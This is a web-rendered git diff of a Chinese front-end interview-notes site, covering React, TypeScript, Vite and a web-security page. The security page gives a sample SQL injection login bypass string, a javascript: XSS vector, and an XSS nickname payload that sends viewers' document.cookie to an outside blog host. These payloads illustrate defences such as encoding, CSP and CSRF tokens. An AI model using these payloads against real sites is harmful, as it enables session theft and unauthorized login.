setTimeout(() => {
|
||||
resolve(import(/*webpackChunkName:"OtherComponent"*/'./OtherComponent'))
|
||||
}, 2000)
|
||||
})
|
||||
resolve(import(/*webpackChunkName:"OtherComponent"*/ './OtherComponent'));
|
||||
}, 2000);
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
export default () => {
|
||||
export default () => {
|
||||
return (
|
||||
<div>
|
||||
<p>下面是一个动态加载的组件</p>
|
||||
@ -181,14 +324,14 @@ export default () => {
|
||||
</Suspense>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
> 拓展:懒渲染可以参考 **react-visibility-observer** ,在页面滚动到可视范围时才加载相应的内容
|
||||
|
||||
## 列表使用key属性
|
||||
## 列表使用 key 属性
|
||||
|
||||
首先我们需要知道react的virtualDom的原理,如果没有id作为标识的情况时,渲染引擎会直接将它视为新的标签,从而造成渲染的消耗,以下例子中,相比较添加了key属性来说,多了两次更新和一次新增的额外渲染。
|
||||
首先我们需要知道 react 的 virtualDom 的原理,如果没有 id 作为标识的情况时,渲染引擎会直接将它视为新的标签,从而造成渲染的消耗,以下例子中,相比较添加了 key 属性来说,多了两次更新和一次新增的额外渲染。
|
||||
|
||||
```js
|
||||
<ul>
|
||||
@ -213,35 +356,32 @@ export default () => {
|
||||
|
||||
## componentDidMount 和 ComponentWillMount 区别
|
||||
|
||||
### componentWillMount
|
||||
### componentWillMount
|
||||
|
||||
1. 将要装载,在render之前调用;
|
||||
1. 将要装载,在 render 之前调用;
|
||||
2. 可以在服务端被调用,也可以在浏览器端被调用;
|
||||
3. componentWillMount 每一个组件render之前立即调用;
|
||||
4. 目前在17中已经遗弃了这个接口,前缀为 UNSAFE_
|
||||
3. componentWillMount 每一个组件 render 之前立即调用;
|
||||
4. 目前在 17 中已经遗弃了这个接口,前缀为 UNSAFE\_
|
||||
|
||||
### componentDidMount
|
||||
### componentDidMount
|
||||
|
||||
1. render之后并不会立即调用,而是所有的子组件都render完之后才可以调用
|
||||
2. 装载完成,在render之后调用
|
||||
3. 只能在浏览器端被调用,在服务器端使用react的时候不会被调用
|
||||
1. render 之后并不会立即调用,而是所有的子组件都 render 完之后才可以调用
|
||||
2. 装载完成,在 render 之后调用
|
||||
3. 只能在浏览器端被调用,在服务器端使用 react 的时候不会被调用
|
||||
|
||||
## 手写一个简单的 useState
|
||||
|
||||
```js
|
||||
const [type, setType] = useState(1)
|
||||
const [type, setType] = useState(1);
|
||||
|
||||
function useState(initData) {
|
||||
let type = initData
|
||||
let type = initData;
|
||||
|
||||
let setType = (val) => {
|
||||
type = val
|
||||
}
|
||||
type = val;
|
||||
};
|
||||
|
||||
return [
|
||||
type,
|
||||
setType
|
||||
]
|
||||
return [type, setType];
|
||||
}
|
||||
```
|
||||
|
||||
@ -254,3 +394,4 @@ redux 分为几个重要的概念:1. store(容器)、2. state(数据)
|
||||
## 参考文档
|
||||
|
||||
> https://juejin.cn/post/6844903922453200904
|
||||
> <https://react.iamkasong.com/process/doubleBuffer.html#%E5%8F%8C%E7%BC%93%E5%AD%98fiber%E6%A0%91>
|
||||
|
@ -10,9 +10,7 @@ group:
|
||||
# 安全
|
||||
|
||||
1. 引用 js 包(内容很少,也可以将内容拷贝出来,直接引用方法)
|
||||
1. 将需要提交的数据经过 filter 即可,如下:
|
||||
|
||||
|
||||
2. 将需要提交的数据经过 filter 即可,如下:
|
||||
|
||||
```javascript
|
||||
浏览器自带转换为字符串
|
||||
@ -25,178 +23,124 @@ var newValue = safetools.reEncode(value)
|
||||
var newValue = safetools.reDecode(value)
|
||||
```
|
||||
|
||||
|
||||
> tag: 前端交互,涉及到数据流动并需要在返回在页面上显示的,一定要经过后端!
|
||||
|
||||
## 在项目里关于前端安全,可以采取以下措施
|
||||
|
||||
使用 HTTPS 确保数据在传输过程中的安全性。
|
||||
验证用户输入,防范 XSS 攻击,使用 CORS 控制跨域资源访问。
|
||||
更新依赖库和框架,以修补已知的安全漏洞。
|
||||
避免在前端存储敏感信息,如密码,而依赖后端处理。
|
||||
定期审查和更新安全策略,以适应新的威胁和最佳实践。
|
||||
|
||||
## 常见的攻击手段
|
||||
|
||||
|
||||
### 1. SQL 脚本注入攻击于与防御
|
||||
|
||||
|
||||
#### 概念
|
||||
|
||||
|
||||
> 用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入.
|
||||
|
||||
|
||||
> 用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的 SQL Injection,即 SQL 注入.
|
||||
|
||||
#### 场景
|
||||
|
||||
|
||||
语句
|
||||
|
||||
|
||||
```sql
|
||||
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
|
||||
```
|
||||
|
||||
|
||||
如果恶意填入:
|
||||
|
||||
|
||||
> userName = "1' OR '1'='1"; passWord = "1' OR '1'='1";
|
||||
|
||||
|
||||
|
||||
既可实现无密码登录,美滋滋吧...
|
||||
|
||||
|
||||
#### 处理方式
|
||||
|
||||
|
||||
前端和 XSS 处理类似,对传递的数据进行筛选,重点是后端对数据的处理!
|
||||
|
||||
|
||||
### 2. XSS 攻击与防御
|
||||
|
||||
|
||||
#### 概念
|
||||
|
||||
|
||||
> 跨站脚本(Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
|
||||
> XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
|
||||
|
||||
|
||||
> 跨站脚本(Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了 HTML 以及用户端脚本语言。
|
||||
> XSS 攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是 JavaScript,但实际上也可以包括 Java,VBScript,ActiveX,Flash 或者甚至是普通的 HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和 cookie 等各种内容。
|
||||
|
||||
#### 类型
|
||||
|
||||
|
||||
##### 简单分类
|
||||
|
||||
|
||||
1. 反射型xss
|
||||
|
||||
|
||||
1. 反射型 xss
|
||||
|
||||
通过一次 xss 请求,将数据渲染到页面,请求 -> 返回数据,例子:搜索
|
||||
2. 储存型xss
|
||||
|
||||
2. 储存型 xss
|
||||
|
||||
通过一次 xss 请求,直接将数据储存在数据库,下次调用无需继续请求,例如:评论
|
||||
|
||||
|
||||
##### 复杂分类
|
||||
|
||||
|
||||
1. client 型
|
||||
1. server 型
|
||||
|
||||
|
||||
2. server 型
|
||||
|
||||
#### 处理方式
|
||||
|
||||
|
||||
- 编码
|
||||
|
||||
|
||||
|
||||
> 将 > ( 标签转换为字符串,可以处理大多数 xss 攻击
|
||||
|
||||
|
||||
|
||||
- 过滤
|
||||
|
||||
|
||||
|
||||
> 有的语句并不完全依赖<>标签,例如src="javascript:alert(1);"
|
||||
|
||||
|
||||
> 有的语句并不完全依赖<>标签,例如 src="javascript:alert(1);"
|
||||
|
||||
- 校正
|
||||
|
||||
|
||||
|
||||
> 这个照理来说应该后端处理,目前没碰到这种场景
|
||||
|
||||
|
||||
|
||||
```javascript
|
||||
> 一个直播平台,用户可以进入观看,主播可以设置自己的昵称:
|
||||
var starNickName = '${starNickname}'
|
||||
```
|
||||
|
||||
|
||||
这怕是要翻水水了...假设是我是主播,我把昵称设置为:
|
||||
|
||||
|
||||
```javascript
|
||||
';window.location.href="http//:blog.jzxer.cn/?cook=" + document.cookie + '&url=' window.location.href;''
|
||||
```
|
||||
|
||||
|
||||
这一串如果传到后端,而后端又没有校正的话的话,这怕是傻眼了...观众进来一个死一个,我应该也会进去蹲几天吧,吧。。。
|
||||
|
||||
|
||||
- CSP
|
||||
|
||||
|
||||
|
||||
```html
|
||||
在头部加入:
|
||||
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:"
|
||||
/>
|
||||
```
|
||||
|
||||
|
||||
meta:不信任任何URL,即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用HTTPS协议加载 其他资源:没有限制 启用后,不符合 CSP 的外部资源就会被阻止加载。
|
||||
|
||||
meta:不信任任何 URL,即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用 HTTPS 协议加载 其他资源:没有限制 启用后,不符合 CSP 的外部资源就会被阻止加载。
|
||||
|
||||
> 注意:该属性目前比较新,hotfix 和 chorme 支持较好,并不适用于所有的浏览器。
|
||||
|
||||
|
||||
|
||||
### 3. CSRF
|
||||
|
||||
|
||||
> 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
|
||||
|
||||
|
||||
> 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了 web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
|
||||
|
||||
#### 处理方式
|
||||
|
||||
|
||||
- 验证码
|
||||
|
||||
|
||||
|
||||
在请求的同时,带个token,或者验证码
|
||||
|
||||
在请求的同时,带个 token,或者验证码
|
||||
|
||||
- Referer Check
|
||||
|
||||
|
||||
|
||||
这个可以伪造...但加入更保险
|
||||
|
||||
|
||||
> 注意:如果网站有XSS漏洞或者一些跨域漏洞,可能导致Token泄露。 在XSS攻击下,读取Token值,然后再构造出一个合法的请求,可以称为:XSRF。
|
||||
|
||||
|
||||
> 注意:如果网站有 XSS 漏洞或者一些跨域漏洞,可能导致 Token 泄露。 在 XSS 攻击下,读取 Token 值,然后再构造出一个合法的请求,可以称为:XSRF。
|
||||
|
||||
### 小结
|
||||
|
||||
|
||||
web 安全是个需要长期坚持的事情,没有绝对安全的产品,我们需要做到的就是能够提前预防和及时修复。
|
||||
|
@ -9,36 +9,34 @@ group:
|
||||
|
||||
# Typescript
|
||||
|
||||
目前市面上比较流行的js的超集,目的是为了让js更加的严格,向强类型的语言看齐,同时为了后期维护上的便利。
|
||||
目前市面上比较流行的 js 的超集,目的是为了让 js 更加的严格,向强类型的语言看齐,同时为了后期维护上的便利。
|
||||
|
||||
## interface 和 type 的区别
|
||||
|
||||
interface 更偏向结构定义,type更偏向数据之间的关系
|
||||
interface 更偏向结构定义,type 更偏向数据之间的关系
|
||||
|
||||
1. 两者继承的方式不同
|
||||
|
||||
```js
|
||||
interface App extends Module {
|
||||
interface App extends Module {}
|
||||
|
||||
}
|
||||
|
||||
type App = Module & { name: string }
|
||||
type App = Module & { name: string };
|
||||
```
|
||||
|
||||
2. type 可以神秘基本数据类型、联合类型、元祖类型,interface不能
|
||||
2. type 可以声明基本数据类型、联合类型、元祖类型,interface 不能
|
||||
|
||||
```js
|
||||
type Name = string
|
||||
type Name = string;
|
||||
|
||||
type Pet = Dog | Cat
|
||||
type Pet = Dog | Cat;
|
||||
|
||||
type PetList = [Dog, Cat]
|
||||
type PetList = [Dog, Cat];
|
||||
```
|
||||
|
||||
3. type 可以使用 typeof 获取类型,interface不行
|
||||
3. type 可以使用 typeof 获取类型,interface 不行
|
||||
|
||||
```js
|
||||
const Name = 'nicenote'
|
||||
const Name = 'nicenote';
|
||||
|
||||
type Iname = typeof Name
|
||||
type Iname = typeof Name;
|
||||
```
|
||||
|
21
docs/interview/vite.md
Normal file
21
docs/interview/vite.md
Normal file
@ -0,0 +1,21 @@
|
||||
---
|
||||
nav:
|
||||
title: 面试
|
||||
path: /interview
|
||||
group:
|
||||
title: 💊 面试题库
|
||||
order: 2
|
||||
---
|
||||
|
||||
# 打包工具
|
||||
|
||||
## vite 和 webpack 的区别
|
||||
|
||||
webpack: 把所有的依赖包都打包编译到一个文件夹中,它的特点有:
|
||||
|
||||
- bundler,all in one. 编译时间较长
|
||||
|
||||
vite:no bundler. 新一代打包工具,基于 esbuild(使用 go 编写),,所以速度上会有质的飞跃,它有以下特点:
|
||||
|
||||
编译速度快:直接引用 es 模块.
|
||||
按需加载:只编译开发中的模块
|
20773
package-lock.json
generated
Normal file
20773
package-lock.json
generated
Normal file
File diff suppressed because it is too large
Load Diff
@ -1,9 +1,10 @@
|
||||
import styles from './index.less';
|
||||
import './index.less';
|
||||
|
||||
|
||||
export default function () {
|
||||
return (
|
||||
<div className={styles.cont}>
|
||||
<div className={styles.card}>
|
||||
<div className="cont">
|
||||
<div className="card">
|
||||
{/* <div className={styles.card_heart}>♥</div> */}
|
||||
{/* <h1 className={styles.card_title}>hello! motherfucker!</h1> */}
|
||||
</div>
|
||||
|
Loading…
Reference in New Issue
Block a user